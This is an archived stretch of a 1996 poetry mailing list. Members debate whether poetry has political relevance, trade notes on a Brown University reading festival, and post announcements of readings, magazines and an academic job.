What does such poetic activity do? It helps me to be more aware of the language around me so I can take pleaseure in it, be outraged by its poor uses, make new things, be a better conversationalist, think more complex thoughts, etc. All of which have a political dimension. None of which has a RELEVANT political dimension. It alters voting blocks not a bit.

Poetry is too important to confuse it with politics. Politics are too important to be confused with poetry.

The most effective "political poems" of the past thirty years have been awful as literature --Vietnam war protest poems. I'm glad that they were written. I in a heartbeat would write doggerel for a political rally if I felt it would help redistrubute the wealth. But I wouldn't claim that it was good poetry.

2. I CHOSE POETRY AS A VOCATION RATHER THAN POLITICS FOR A REASON -- Some relatives of mine had a hand in forming the modern U.S. welfare state when they worked for the Nixon and Johnson administrations. We agree that I couldn't stand political work. It is rarely creative. Day in and day out they attended meetings where they said the same thing, made the same arguments, tried to convince people of the same thing. They then tried to convince others with the same arguments, by saying the same thing, etc. Politics takes doggedness, determination, and single-mindedness. I'm determined, but my creative bent does not lend itself to doggedness nor to single-mindedness.

I chose poetry, or rather poetry chose me, because I like to find ways to articulate experience. Saying the same thing over and over bores me.

We are poets because we are not fit for politics. Let's be proud of it. We'd probably be lousy politicians anyway.

3. I AM POLTICALLY ACTIVE-- Indeed, a year ago I used this list to instigate a letter writing campaign protesting the hanging of Nigerian writer Ken Saro-

Wiwa. That was an attempt to be political. It wasn't my first. I'm fairly active. But doing that stuff day in and day out would drive me crazy.

I grew up in Green Bay, WI, not far from where a statue of Joseph McCarthy stands in Appleton's city hall. As a teenager, I accompanied my father in door-to-door canvassing on behalf of Leftist politicians. I was afraid. So was he.

In many countries, writing poetry can get you in trouble. Not in the U.S. In those countries, perhaps poetry can be politically relevant.

4. WHY DO WE WANT TO CLAIM POETRY IS POLITICALLY RELEVANT--At least since Milton, poetry in the English language has made various attempts to influence politics. None more extreme than Ezra Pound's. While I abhor Pound's politics, he has been the most successful Modern poet in terms of catching the ear of power. I believe that we are still living in the shadow of his ambition: We still believe that, if poetry is to matter, it must have a political impact.

This is dangerous. Politics by its nature is compromise. Poetry by its nature is not. Politics in the democratic sense is formed by groups of people haranguing, compromising, grandstanding, and fudging. Poetry by its nature is more dogmatic.

Poetry is radically creativity. From the ground up. This sort of creativity can only happen when a few are in charge and the rest are forced to shut up. (Revolutions I don't believe have accomplished anything in terms of redistributing wealth,power, and liberty to the disenfranchised. Day in day out political work has.)

Poets who enter politics in their capacity as poets run the risk of falling to the temptation of totalitarianism.

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570. **Jordan Davis**
Re: politics & poetry
Mon 28 Oct 1996

Jeff -

I'm crazy about the tone of your post. But I have a question about this paragraph:

> *This is dangerous. Politics by its nature is compromise. Poetry by its nature is not. Politics in the democratic sense is formed by groups of people haranguing, compromising, grandstanding, and fudging. Poetry by its nature is more dogmatic.*

And then this one:

> *Poets who enter politics in their capacity as poets run the risk of falling to the temptation of totalitarianism.*

My question is this: isn't totalitarianism often described as the aestheticization of politics? the attempt to remove the 'fudging' of argument and compromise?

A related question might be: is poetry well-served by the idea 'No Compromise'? I know that the poems I like best were twitted, revised, and re-butted by other poets than their authors, and that the authors took some of the suggestions floated to them.

Anyway, right on,
Jordan

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571. **maria damon**
Re: CALL FOR PAPERS
Mon 28 Oct 1996

---

hi kathy it'd be great if you cd forward the msg to your extensive network...bests, maria

In message <[redacted]> UB Poetics discussion group writes:
>
> Maria, Thanks for the announcement of your Cross-Cultural Poetics
> conference in Minneapolis next October, which sounds like a much-needed
> conversation and also lots of fun--I will plan to be there. Nice to see a
> conference about "poetics" that actually includes poets and talk about
> poetry... --Kathy
> --

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572. **Yunte Huang**
Re: politics & poetry
Mon 28 Oct 1996

"Poetry is not political in the current U.S. context" --Jeff Hansen

What poetry? Whose poetry? Whose U.S.???????????????? All like these ??????????? ?

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573. Steve Evans
There was a reading in Providence? What about Brown?
Mon 28 Oct 1996

Because Gale Nelson is temporarily off-list, I am forwarding on his behalf the following response to Rob Hardin's recent post (future participants in this discussion may wish to "cc" their messages to Gale directly at the address given at the close of his post):

Steve, Thank you for forwarding to me the message from the UB Poetics discussion group, where reference to the night of Unspeakable Practices III that I had the pleasure of hosting is examined by Mr. Hardin. If you would be willing to convey to Mr. Hardin and to the Poetics group in general my apologies of replying through you, I would be deeply grateful -- as a variant reading of the night described in passing may be useful.

As noted, this is not the first installment of Unspeakable Practices at Brown, named for Donald Barthelme's collection of stories. The first installment took place in the spring of 1988, and was a celebration of the retirement of John Hawkes. Many of the post-mod crowd were there, with, most memorably to my young, spinning head, a beautifully sinister reading by William Gass taking place in Manning Chapel. His reading from The Tunnel left me shaking with belief in the ability of language well-crafted to move a person to emotional states. Ah, to be young, and to be hearing Gass or Mei-mei Berssenbrugge for first time!

The second installment of Unspeakable Practices came in 1993, I believe, with a big line-up of younger writers, where a confrontation between print and electronic venues became the core discussion. A celebration of Fiction Collective was included as one of many centerpiece events.

The third installment of Unspeakable Practices took place earlier this month. Again, a few dozen writers descended upon Brown, to discuss, argue and play out what narrative literature might be. Among the focus points was a night to celebrate the Dalkey Archive. As editor of a small press, and not being a writer of fiction, I was asked by Bob Coover to host that night, as he figured that I could put Dalkey's successes into perspective, and give the cursory introductions necessary to keep an eight-or-nine (or more?) reader night moving along with something akin to speed. So, following my words of praise for the Dalkey mission, I introduced Carole Maso, who has recently been hired as Director of the Program. She referenced how important small presses have been to her growth as a writer, first via North Point and then through the tireless support of Dalkey. She noted that the night before the spotlight had been on writers whose work had found a home in places like the New Yorker, and that this would be a

different kind of night -- a night dedicated to the small press author. Then, Carole went on to read from her latest book, Aureole, just out from Ecco.

Later in the evening, another reader referenced the comments Carole had made, and noted that she would be happy enough to be published by the New Yorker. I was given to understand that these comments were meant to "counter" those made by Carole, because the feelings of three writers had been hurt -- three Brown grads who had read the night before, and had seen their work published in the New Yorker.

The offended gentlemen took umbrage from Carole's praise of the small presses, in large part, I assume, because she made reference to the fact that the night before, many of the readers had had access to larger publishing venues. It was not, to my mind, a cutting remark made by Carole, intended to diminish the other writers' participation in the event, rather, it was made to underline the multiplicity of venues available for various types of writing. Comments once made, are always open to interpretation. It is unfortunate that those made by Carole were received in the most negative light possible by three writers of talent and charm -- fancying myself as writer, I understand exactly how easy it is to take any comment in the least pleasant manner possible, then to hold onto that in anger. I do it all too often myself. I hope that Brown's reputation for being a center for eclectic tastes in fiction, poetry and playwriting will not be too seriously undermined because Carole's desire to celebrate the small press was taken as a denigration of the large (her next book, after all, is due out from Dutton!) within the context of her making a few passing remarks before embarking on a lovely reading.

As many of you may know, Brown has hosted major conferences over the past few years, many of them coordinated by Professor Robert Coover -- he, along with visiting professor Nuruddin Farah, put together the 1991 Festival of African Writing, which brought two-dozen writers and filmmakers to campus; in addition, Bob Coover worked with students and visiting writers to host the Original Voices festival of Innovative Women Narrative writers. Bob Coover & I co-coordinated the Freedom to Write Festival this past spring, bringing attention to the plight of writers who have been or are under the threat of persecution and prosecution, exile and death. Peter Gizzi, Marjorie Welish and I put together a festschrift for Barbara Guest. Peter Gizzi, a visiting faculty member, also put together a mini-festival called the Canadian Emergency, focused on Canadian poetry. Keith & Rosmarie Waldrop and I put together, in concert with SUNY Buffalo & Barnard College, a French Poetry Festival last year. Queer Tales, a festival of gay and lesbian literature, was coordinated by Eurudice (Kamvisseli), who was visiting faculty member. And, of course, each year the Program sponsors a festival of New Plays, featuring new dramatic texts by members of the Creative Writing Program. The Program features events

aplenty, such as upcoming readings by Ann Lauterbach (6 Nov) and Brown graduates Martine Bellen & Edwidge Danticat (7 Nov). We just featured two nights of readings by four New England authors: Lori Baker, Michael Gizzi, Ray Ragosta & Craig Watson. Our interests are wide, and our desire to enjoy is nearly unlimited. We hope to make people welcome during their visits, and hope that the unpleasant experiences of three writers will not overshadow the extraordinary quality of experience had by the vast majority of those who come to our festivals, conferences, readings series, plays and other programming.

People may also be interested to know that distinguished poet and professor, Michael Harper, was just celebrated in Brunswick, Maine. "Celebrating Harper" took place this past weekend at Bowdoin College, w/ readings and talks.

Thanks for your electronic hospitality,
Gale Nelson, Assistant Director, Creative Writing at Brown University
E-mail: [redacted]

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574. Edward Foster
Re: politics & poetry
Mon 28 Oct 1996

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in addition to these pieces in talisman #15 re: poetry and politics, see those in #16 (which gets to your mailbox or newsstand this week or next), especially the exchange between james sherry and leonard schwartz, richard kostelanetz on brodsky, stephen paul miller on the multicultural critics/ anthologists, george kalamaras on "mysticism as a social act," and much much more, 256 pages worth in fact. -ed

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575. Christina Fairbank Chirot
Re: politics & poetry
Mon 28 Oct 1996

Re poliics & poetry, see statement by Joe Napora in the latest issue of BULLHEAD (#5).

BULLHEAD is available from Joe at:

2205 Moore Street
Ashland, Kentucky 41101

(cost is five dollars US)
Highly recommend this journal!
--dave baptiste chirot

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576. **Joseph Lease**
Re: politics & poetry
Mon 28 Oct 1996

On Mon, 28 Oct 1996, Yunte Huang wrote:

> "*Poetry is not political in the current U.S. context*" *--Jeff Hansen*
>
> *What poetry? Whose poetry? Whose U.S.???????????????? All like these ??????????? ?*

This is a huge question. Obviously crucial to all. Should be addressed on the list. One question for the list is can there be a political dialogue (dialogue) as opposed to cacophony.

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577. **k.a. hehir**
Re: Marginalized?
Mon 28 Oct 1996

---

to cris creek,

the night of the living tongues sounds/looks/tastes wild.
i think bumblimg around a busy trainyard with the walkyman up too loud couldn't give me the sensation you post did.thanks.

kevin

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578. **j.l. wiens**
Re: politics & poetry
Mon 28 Oct 1996

Like to perhaps build upon Yunte Huang's critique of Jeff Hansen's arguments re poetry and politics. Whose U.S. indeed: just as poetry seems to have greater political effect outside of a liberal-democratic context (does this suggest that perhaps a certain level of oppression and torture is needed to make poetry relevant??), within that context the experience of certain communities seems to suggest that poetry can have relevant and immediate effect.

Because of my (shameful!) ignorance of contemporary U.S. writing, I can only offer comments on developments within a Canadian context. Here, any notions of a homogeneous "national" literary community have been for the most part replaced with a recognition that this field of cultural production is fragmented

into various constituencies defined under gender, regional, "ethnic," or sexual signs. Hansen seems to equate political relevance with struggles to reduce income disparities. What about the role of poetry in identity politics? Poetry in those instances can serve not only to construct and define community identity but also to establish the strategies under which "real" political action would be undertaken. Given these criteria poetry produced by Quebecois writers, Caribbean-Canadian writers in Toronto, and in particular native Canadian writers would most certainly become "relevant" given yr definition of "changing public policy."

The question which might undermine my argument would be: does poetry affect political change, or does political change affect poetry? Returning to the Canadian context, we might wonder whether this framentation of a "national" literary community (did one ever really exist?) is a cause or a consequence of a broader decentralization at the political and economic levels. I suspect it's a bit of both.

Sorry to bring up a context with which many of you may be unfamiliar (though I do recognize a couple of names out there), but I suspect similar arguments might be made regarding the relevance of poetry within a U.S. context.

jason

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579. **henry g**
Re: politics & poetry
Mon 28 Oct 1996

Seems like a good schoolteacher or carpenter or truck driver understands the usefulness of their work. They also understand that things don't happen in a vacuum, that in the course of doing their work they're going to get involved in human & community problems, & if they are lucky enough to have some confidence & sense of direction they tend to infuse their work with a personal stamp & a sense of connection with larger or other issues. Most of us had schoolteachers like that (maybe a few anyway).

Poets & artists, despite the fact that most of what they do goes on in the playpen of society, have the strange sense that what they do is necessary for a real apprehension of nature & reality. It's the adequate response. So it's also a kind of work, which it's possible to infuse with common things like any other work. If I were to choose another bigshot writer to exemplify the political possibilities, it would be Shakespeare rather than Pound. One thing I've learned from the interaction on this list is that general statements are usually one-sided & the opposite is almost always just as true. Jefferson's right, I think, to point up some differences between poetry & politics, in a contemporary arena in

which EVERYTHING is theatricalized. But by the same token, Shakespeare among many others always holds out the example of a possibility: in which poetry & art remain themselves while examining in subtle detail very topical political questions. & we live in a time (some of us) & a place (some of us) which allows for more freedom of expression than the Bard had. So there's always the possibility of the play that changes the conscience of a culture (or helps in that direction). Playwrights aim for this all the time. But then, maybe poetry & theatre, too, have very distinct aims... blah blah goodnight all (you too Hamlet) - Henry G

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580. **Keith Tuma**
Re: politics & poetry
Mon 28 Oct 1996

It's William Walsh, not "Warsh," and the point of his exchange with Marjorie Perloff re Oppen and other matters is to distinguish between "political identity" and "political efficacy." But the exchange is about readings of Oppen, not about politics and poetry in the abstract, which is (for me anyway) nearly always a bankrupt subject. No one is surprised that (much) poetry has little IMPACT politically speaking, not directly anyway; it DOES have more impact than bowling because of its situation--spaces--in mediating institutions such as pedagogy, cris cheek's rock 'n thump 'em in the head we come to you live with bad tech post-punk show, etc. Have to consider those institutions/ sites/cultural forms if you wanna talk poetries and politics.

Sorry, can't go on. Just wanted to get the names and issues straight. As for politics(with apologies to those in the UK,Canada, Australia, etc.) I'd think we'd do better--say--to discuss the arguments of Michael Lind's _The Next American Nation_ or the reading of those same arguments (and others) by Walter Benn Michaels in _Transition_ 70. Or some such arguments which have a SPECIFIC focus.

keith tuma

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581. **main**
Re: politics & poetry
Mon 28 Oct 1996

---

jeff-- you raise many important distinctions between politics and poetry that are often glossed over in discussing the two. but if you shrink the politically relevant sphere to those acts that have "the ability to alter public policy," then it gets tricky: who's to say that poetry doesn't, in some remote _but relevant_ way,

influence public policy? true, few will ever write a poem that will have more political relevance than casting a ballot, but i'd argue that every act of writing is a sort of ballot-casting in that writing is, at base, a social act. for example, you mentioned yr own writing as a process of developing "more complex thoughts": don't these thoughts, in turn, inform yr political ideologies and social actions? can a poem be an act of political persuasion like knocking on those doors in green bay? isn't a poem involved with "arguing and convincing"? you mentioned the political efficacy of vietnam protest poetry. what makes these works politically relevant: their direct references to the war? their being read within a larger social context (political demonstrations, rallies, etc.)? what you said about poetry being more dogmatic than politics is interesting. i'd say it depends on the politics. back to the poet as "unaknowledged legislator": why are laws written? why are poems written? is politics an act of conservation (laws) and poetics an act of liberation? is their some sort of antiphonal exchange between these domains? what, if anything, does a poet "legislate"? in perelman's _marginalization_, talking about language, politics and power, he mentions that "Shelley can only promise power that is total but undeliverable." conversely, politicians (the veritable legislators) can only promise power that is deliverable but not total. when i try to conceive of a poetics or politic that's both deliverable and total, i don't envision pound's paradise, but mussolini's horror. df

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582. **Simon Schuchat**
Re: politics & poetry
Mon 28 Oct 1996

I am somewhat baffled by the idea that poetry doesn't effect "practical politics." Seems to me that Allen Ginsberg and Gary Synder have had a greater political impact on the United States than all but a handful of members of the Senate in the past 50 years. Not every poet has a political impact in this narrow practical political sense (not every poet wants to, and not every poet that wants to succeeds), but the impact is there.

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583. **Gabrielle Welford**
Re: [redacted]
Mon 28 Oct 1996

Hi all. I'll be giving a paper on Athabaskan poet Mary TallMountain, not sure what day what hour but almost surely this year... gab.

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584. Carnography
SPITTING IMAGE Reading on No. 2nd: Forward
Mon 28 Oct 1996

To All:

The following announcement is from Julia Solis. For more info, contact Julia at: [redacted].

> *THE SPITTING IMAGE is celebrating the release of its new issue with a night of readings by Raymond Federman, Rob Hardin, Lance Olsen, Peter Wortsman, Alex Cigale, Colin Raff and Christopher Sorrentino. The readings will be framed by "pyrotic" performances from Fireplay. Saturday, November 2 at 7:30 PM at La Mama Experimental Theater, 74 E. 4th Street at 2nd Avenue.*

The reading should be smart, fun and informal. Both SPITTING IMAGE and my forthcoming collection, Distorture, feature Julia--in two mock-forensic shots by German photographer, Claudia Reinholdt, of Neid--on the cover. Julia is a writer and translator as well as an editor; both she and Colin Raff have recently translated Hans Bellmer, my bald muse, into English. Julia has also translated Nietzsche (his last book) and Unica Zurn.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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585. Carnography
SPITTING IMAGE Reading on No. 2nd: Forward
Mon 28 Oct 1996

To All:

Correction:

> *Julia has also translated Nietzsche (his last book)*

This is incorrect.

What Julia actually translated were Nietzsche's last letters, which were published as _My Sister and I_ by Amok Press. There is some controversy as to the true authorship of the letters; Julia reports that the letters were extremely difficult to translate because they were written in the language "of someone who was ragingly insane."

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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586. **maria damon**
Re: postcolonial? other conference ?
Mon 28 Oct 1996

---

speaking of post colonial, here's a post colonial posting; please distribute it as widely as possible, as the deadline's dec 3 and the ad missed the october job list. gabrielle w., i know yr on the postcolonial list and i'd be most grateful if you'd forward this ad to that list. best wishes, md

University of Minnesota
Department of English

The Department of English at the University of Minnesota invites applications for a tenure-track Assistant Professor position in postcolonial literatures in English and postcolonial theories, to begin 9/15/97.

This position is a full-time, nine-month appointment. Salary will be competitive. Ph.D. or equivalent in English or a related field by 9/16/97 is required. Duties will be to teach postcolonial as well as other courses in the general curriculum at all levels.

POST COLONIAL LITERATURES IN ENGLISH: The Department of English is committed to developing the area of postcolonial literatures and theories as one of its areas of emphasis in teaching and research; and candidates for this position should share that commitment.

Candidates should have demonstrated promise of excellence in teaching and research and should have expertise in a specific area of postcolonial literature in English as well as broad familiarity with postcolonial literatures and theories. Candidates should demonstrate expertise not only in western postcolonial theories, but also in the literary traditions, reception histories, and theoretical controversies arising in postcolonial regions themselves. Candidates should send a letter of application, curriculum vitae, at least three letters of reference, and a writing sample (no longer than 25 pages) to:

Postcolonial Search Committee
Department of English
University of Minnesota
207 Lind Hall
207 Church Street SE
Minneapolis, MN 55455

Applications must be postmarked NO LATER THAN DECEMBER 3, 1996. Those postmarked after that date will not be accepted.

The University of Minneosta is committed toa policy that all persons shall have equal access to its programs, facilities, and employment without regard to race, color,creed, religion, national origin, sex, age, marital status, disability, public assistance status, veteran status or sexual orientation.

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587. **Stephen Cope**
Re: politics & poetry
Tue 29 Oct 1996

I think Kieth Tuma's right to point out poetry's role in pedagogical instituions as one primary way in which its politics is marked. It would be hard to argue, for instance, that the reproduction of certain idoelogical orientations hasn't been central to the project of New Crticism (particularly as it survives in the majority of college- level writing workshops). See Jed Rasula's _The American Poetry Wax Museum_ for more on this...

Of course, this isn't an argument for the political "efficacy" of poetics, only for poetry's role as a carrier of various assumptions, and thus as a site for the un-settling of such assumptions...

-Stephen Cope

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588. **Christopher Reiner**
WITZ note
Tue 29 Oct 1996

A Personal Note to WITZ subscribers:

Just wanted to let you know that the fall issue of WITZ will be delayed a few weeks on account of the fact that the editor ran off a week or so ago and mar-ried Cheryl Bascom in Carmel, California. This happy event has pushed the WITZ production schedule back a little. But...mid November, I promise.

Best,
Chris Reiner
Editor and Groom

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589. **Carnography**

Re: There was a reading in Providence? What about Brown?

Tue 29 Oct 1996

> *Thank you for forwarding to me the message from the UB Poetics discussion group, where reference to the night of Unspeakable Practices III that I had the pleasure of hosting is examined by Mr. Hardin. If you would be willing to convey to Mr. Hardin and to the Poetics group in general my apologies of replying through you, I would be deeply grateful -- as a *variant reading of the night described in passing* may be useful.*

Gale:

Are you under the impression that a negative reading of the '96 UP readings was the substance of my post? If so, your impression was not what I intended. In my post, I stated that I wished to hear from people like yourself, who might explain how the very festival that I myself enjoyed--the festival that I mention proudly in every bio and press kit, whether it be PR for music or for writing--could have become an event that infuriated my friends. My post was not a "reading": I wasn't there. Rather, it was a plea for more positive "readings" and explanations.

> *The second installment of Unspeakable Practices came in 1993, I believe,*

93 is correct. To be exact, the Unspeakable Practices II Vanguard Narrative Festival at Brown University took place between February 24-27, 1993.

> *with a big line-up of younger writers, where a confrontation between print and electronic venues became the core discussion. A celebration of Fiction Collective was included as one of many centerpiece events.*

True enough. This description doesn't differ markedly from my own--which is not negative, but rather affectionate and impressed.

> *Again, a few dozen writers descended upon Brown,*

Again, a few dozen writers were *invited* by Brown...

> *I introduced Carole Maso, who has recently
> been hired as Director of the Program. She referenced how important small presses have been to her growth as a writer, first via North Point and then through the tireless support of Dalkey. She noted that the night before the spotlight had been on writers whose work had found a home in places like the New Yorker, and that this would be a different kind of night -- a night dedicated to the small press author. Later in the evening, another reader referenced the comments Carole had made, and noted that she would be happy >enough to be published by the New Yorker. I was given to understand that these >comments were meant to "counter" those made by Carole, because the feelings of >three writers had been hurt -- three Brown grads who had read the night before, >and had seen their work published in the New Yorker. The offended gentlemen >took umbrage from Carole's praise of the*

> *small presses,*
> *in large part, I assume, because she made reference to the fact that the night before, many of the readers had had access to larger publishing venues. It was not, to my mind, a cutting remark made by Carole, intended to diminish the other writers' participation in the event, rather, it was made to underline the multiplicity of venues available for various types of writing. Comments once made, are always open to interpretation.*

Here's the problem for me, Gale--the very problem that prompted my post. By nature, writers are a paranoid lot: they work in isolate rooms, occluded from contact with their audience, and temporarily banished from gratifying collaborations. It is easy enough for them to feel insulted and undervalued, and to become solipsistic. Thus, even when I was told of various perceived slights by my friends, I could have easily dismissed said slights, had they not come from *three different writers*, only one of whom *might* have been the "offended gentleman" you mention. (Though these writers don't hang out together, I happen to know them all.)

I'm loyal to my memory of Brown, but I'm also loyal to my friends. If the New Yorker comments were so utterly inoffensive, then why were three New York writers so deeply offended?

> *I hope that*
> *Brown's reputation for being a center for eclectic tastes in fiction, poetry and playwriting will not be too seriously undermined because Carole's desire to celebrate the small press was taken as a denigration of the large (her next book, after all, is due out from Dutton!) within the context of her making a few passing remarks before embarking on a lovely reading.*

Unfortunately, the New Yorker comment was not the only complaint I heard.

I'm also told that Carole read classic texts beside those of guest authors, and that the effect was unflattering to her guests. Generally, the sense I had was that these writers felt *neglected*--a perception that runs contrary to my personal experience of Brown.

> *As many of you may know, Brown has hosted major conferences over the past few years, many of them coordinated by Professor Robert Coover -- he, along with visiting professor Nuruddin Farah, put together the 1991 Festival of*

As many of you may have guessed, the intention of my missive was not to compare the literary faculty of Brown U. to the occupants of the House of Usher, nor was it to confine and circumscribe Brown's literary activities to the Unspeakable Practices Festival series. It was precisely because my personal experience of Brown was so positive that the reactions of my friends upset me. If my post somehow offended you, Gale, or the writer who allegedly offended these other writers, then the god of irony will be well pleased. But *I* won't be pleased--not at all. I was quite aware that my post might stir up controversy

which could somehow impact negatively on me. Nevertheless, I posted anyway, because:

1. I couldn't bear to hear dismissive comments about UP without knowing the other side. 2. These NY writers talk to other writers in my community. Their views are received a la carte (without conflicting argument or evidence). If there is a case to be made in UP's favor, I'd like to be able to present it. 3. The milieu I visited in 1993 would never excommunicate me from its graces simply because I asked a few difficult questions in public.

The main thing I wish to make clear is this: I did not intend any slight to Brown and *particularly* not to Robert Coover, who is brilliant and who went out of his way to make myself and others feel welcome. The defining act of mediocrity is to refuse to acknowledge good work. By inviting me to Brown, Coover helped me immeasurably: Once there, I made contacts that have helped me to this day. I'm meeting Eurydice later this evening, for example. If it were not for Coover, I would probably not know her at all.

To acknowledge the good work at Brown: that is the main thing. The rest--all slights, complaints and controversy--is gossip, however deeply felt and earnestly reported.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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590. Henry Gould
politics & poetry
Tue 29 Oct 1996

Agreeing w/ Keith on the dryness of more abstract chat about this subject, NEVERTHELESS I can't help adding something more. There has always been, now & then, very topical political poetry which is also real poetry. Whether it finds an audience which is also in a position to affect government policy or social structures depends on circumstances. But the intellectual & moral commitment can result in an accurate witness to a politically-manipulated reality. There is an act of faith involved in the effort to create such work, which in a literary culture of authentic vitality, might actually lead to "political efficacy". On the other hand, I wouldn't want to create an idol out of this aspect of poetry. Poetry has its own raison d'etre & doesn't need a political imprimature. It's we ourselves, people, who are called to account in a political sense. - Henry gould

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591. **Joe Amato**
Re: politics & poetry
Tue 29 Oct 1996

just couldn't let this thread slip by w/o comment... jeff---thanx for stating some assumptions that are, i think, generally & tacitly felt & operated on within specific poetry communities (if not this one)... i don't find mself agreeing with you, in part for the reasons stated in others' posts, but i think i understand where you're coming from...

i believe it probably is futile, if not dangerous, to attempt to distinguish between politics & politics in foundational terms... but there is, at the level of political action, all sorts of room for such distinguishing features... & if there's not, we're all in a heck of a lot more trouble than we think, b/c we ourselves won't be able to distinguish between political acts that result in something better & political acts that result in something worse... that is, our capacity for distinguishing so requires, at the very least, that we can recognize those acts that have little or no effective political import...

perhaps the good (better?) way to situate this discussion is not in terms of poetry per se, but in terms of---surprise surprise---the academic discipline of political science (& jeff, please forgive me for pushing this discussion in a non-poetic & academic direction) ... b/c polisci presumes to speak of politics in ways that presumbably political... by which i mean, addressed to the public sphere of politics per se... which---yes---*is* a reduction of the broader category, but one which i'm willing to treat in such terms simply b/c, as jeff suggests, there is a widespread public conception that this is what constitutes politics (which latter observation speaks to the question of what constitutes politics, whether one agrees or no)...

one of the best (academic) books i know to deal with this problem is john g. gunnell's _between philosophy and politics: the alienation of political theory_ (u of mass p, 1986)... when i first picked i up, seven-eight years ago, it stopped me dead in my tracks... gunnell's work deserves broader reading, not least b/c he's attuned to the way academic discourse communities reproduce what (in his & often in my view are) academic (i.e., moot) political arguments... i mean, i take gunnell's critique to be a substantive critique of my motivations as an academic, albeit i think his critique generally operates (curiously) at a philosophical remove from the direct political context i find mself in day after day (i.e., the classroom)... & i don't necessarily agree with gunnell either, non-committal as i am this morn, though again find his provocations useful...

here's an excerpt, to give some idea of why gunnell is such a challenge... he's arguing for what he calls his (very wittgensteinian) 'theory of conventional objects':

"The theory of conventional objects does not yield the kind of revealed truth and therapeutic authority that political theory has sought, but it has critical implications---not the least of which is the denial not only of the transcendental character of any political configuration but of the political form itself. If the history of political theory, the classic texts, can offer us any wisdom, it is surely the knowledge that by its very nature politics is a form of life grounded in varying degress of lie and illusion. Thus an exploration of the world of political meaning and its 'ontology' and 'epistemology' is potentially, and maybe almost automatically, a critical activity. It is almost by necessity a claim to understand politics better than it understands itself. But neither the truth of that claim nor its practical consequences are self-validating." (221)

anyway...

best,

joe

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592. Elda Rotor
New Digressions magazine
Tue 29 Oct 1996

New Digressions art and literary magazine has just published its fourth issue, Fall 1996 (Vol. 4, No.1). Contributors include Michael Ackerman, Alice Blanchard, Tina Chang, Vince Cousino, Julie Cox, Peter Desy, Zoe Francesca, Linda Sue Grimes, Michael L. Johnson, Alan Kaufman, Regina La Barre, Alison McGhee, Angela Mendez, Damian Powers and Dan Schneider.

Send $3.50 (checks payable to Elda Rotor) to the New Digressions address: P.O. Box 2640, Stuyvesant Station, New York, NY 10009.

The new issue is now available at Biblio's bookstore in New York, and is soon to appear at Gotham Book Mart and other venues in the city.

New Digressions is a semi-annual art and literary magazine publishing poetry, short stories, black and white graphic art and photography. New Digressions encourages, but is not exclusive to, emerging authors and artists ages 18-29 and welcomes all submissions from diverse cultural, social and creative bents.

Submissions are accepted year-round. Simultaneous submissions are also accepted. For guidelines for poetry, fiction, black and white photography and art and for more information about the magazine, please write to: [redacted]

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593. Douglas Barbour
Re: POETICS Digest - 27 Oct 1996 to 28 Oct 1996
Tue 29 Oct 1996

In response to Aldon J Nielsen:

Date: Sun, 27 Oct 1996 21:00:22 -0800
From: "Aldon L. Nielsen" <[redacted]>
Subject: Re: Jump Up

As one of the very few owners of a copy of Oliver Lake's book of poetry, I've always thought he was a great saxophone player and composer --

but that performance piece sounds delicious -- was anything said about a recording becoming available???

I didnt know about a book! There is a CD, from a small producer, & the title is _The Matador of 1st and 1st_

All the best

Doug

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX: [redacted]
H: [redacted]

'The universe opens. I close.
And open, just to surprise you.'
- Phyllis Webb

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594. Mark Wallace
"Politics"? "Poetry"?
Tue 29 Oct 1996

To me, Jeff Hansen's recent post seems most useful in reminding us that it's very easy to use the phrase "political" in an unconsidered manner, and that uses of the word "political" need to pay close attention to what it means to call something "political" at all. The word clearly has a complicated history, and has been used in a variety of contexts for a variety of reasons.

I think what Jeff suggests is that use of the word "political" ought to commit us to a careful elucidation of what the term can mean. In Jeff's post, he wants to refer the term "political" solely to electoral politics as a way of not

engaging in fuzzy sloganeering. That seems useful as a corrrective, but what it then makes me want to explore is various TYPES of politics, whether those different types share things in common and effect each other, and perhaps also to question whether speaking of them as "political" is the most useful way to think of them.

Tentatively, here, I can think of several areas of American life to which the term "political" might be applied.

1) Electoral politics on national, state, and local levels. What things are actually in real question in these politics is to me crucial--one might argue, for instance, that most issues of huge significance to the lives of people in the U.S. never enter the political arena at all.

2) The politics of information. What ideas on what subjects are presented to whom, in what contexts, and with what kinds of limitations. Relevant formations here at the very least include publishing companies, academic institutions, newspapers and perhaps much else.

3) The "politics" of daily interraction. To what extent is it useful, or not, to think of our daily encounters with others as forming a politics? Relevant issues here would include group and identity politics, work issues, many others.

Obviously, I'm doing this very sketchily (and on a bad moden too), but questions that the above groupings would suggest to me include what the interactions between these groups are (obviously, #2 and #3 are often so close as to be indistuinguishable) and how they all relate to the central problems of another term that needs careful clarification: POWER.

I really wish I could say more, but the modem I'm on is barely functioning.

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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595. **John Geraets**
postcolonial? other conference ?
Tue 29 Oct 1996

I saw somewhere (all this: I think I remember) a reference to
a conference to be held in hawaii next year--literary
postcolonialism? I've searched to see where

I put the info but cant find it. Can you help me at all? I
mentally amrked 10/31 as close date for proposals, not certain ..

Any (quick) advice backchannel most welcome.

John Geraets
Aichi-Gakuin University

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596. **Daniel Bouchard**
politics, poetry, etc etc
Tue 29 Oct 1996

To my reading of Jefferson's post, "politics" referred to US government policy. His point, again from my perspective, was that poetry being written today (and the poetry of the last 30 years) is politically irrelevant because it comes nowhere close to affecting government policy (policies), the policy makers or their constituents on any significant level, DESPITE the opposite claims of many poets writing today.

The obvious Poetics list reaction is to break down the term "politics" (the politics of saying howdy, the politics of this-n-that, etc). Can anyone refute Jeff's statements? I cannot. Someone mentioned Ginsberg and Snyder, but failed to offer exactly HOW their wonderfully political poetry has been effective.

[redacted]

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597. **Kenneth W Sherwood**
Re: JH and Political poetry
Tue 29 Oct 1996

Jeff: Surely you're right on to say that mottos/mantras like "the personal is political" may serve to get poets off the hook, so to speak. And I think Oppen clearly had a sense that writing poems could/should not substitute for direct political action; this was, I submit, his 'choice' and not an infinitely extendable theorem. Oppen's decision is rather carefully framed (in the poems, _Meaning A Life_, and scattered essays) as a response to a particular then-present moment and an assessment of his own 'style' (poor word) of poetry. In fact, Oppen almost goes so far as to say that some 'polemical' poetries are (in your terms) politically relevant--though he couldn't/wouldn't write them.

